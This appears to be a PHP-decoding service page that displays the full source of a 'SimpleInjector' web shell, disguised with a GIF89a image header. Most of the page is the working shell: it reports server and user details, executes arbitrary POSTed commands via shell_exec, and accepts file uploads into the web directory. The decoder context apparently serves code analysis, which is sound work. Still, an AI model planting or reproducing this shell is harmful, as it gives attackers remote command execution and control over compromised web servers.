Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

GIF89aP; <?php '<body bgColor="#000000">'; echo "<title>[]SimpleInjector[]</title>"; e..

Decoded Output download

<title>[]SimpleInjector[]</title><center><img src=http://zolito.com/catalog/images/windows-hack[1].jpg></center><center><font size='5' color='#00FF00'>Hacking Simple CMD</font></center>

Did this file decode correctly?

Original Code

GIF89aP;
<?php
'<body bgColor="#000000">';
echo "<title>[]SimpleInjector[]</title>";
error_reporting(0);
echo "<center><img src=http://zolito.com/catalog/images/windows-hack[1].jpg></center>";
echo "<center><font size='5' color='#00FF00'>Hacking Simple CMD</font></center>";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
$dir=pwd();
echo "<td width=50%><p><font size=2 color=#888888><b>Server IP :".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
    "Your IP :".$_SERVER["REMOTE_ADDR"]."</a><br>";
echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
echo "<font size=3 color=#303030><b>Directori: ".$dir."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.'file'.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><table><body bgColor=#000000><font size=3 color=#303030>".shell_exec($cmd)."</font></pre></table>";
}
else { echo "<pre><table><body bgColor=#000000><font size=3 color=#303030 border=#800000 1px solid>".shell_exec('ls -la')."</font></pre></table>";
}
?>

Function Calls

ini_get 1
error_reporting 1

Variables

None

Stats

MD5 cad68aab4ac83b770ba4a6916f3a334e
Eval Count 0
Decode Time 107 ms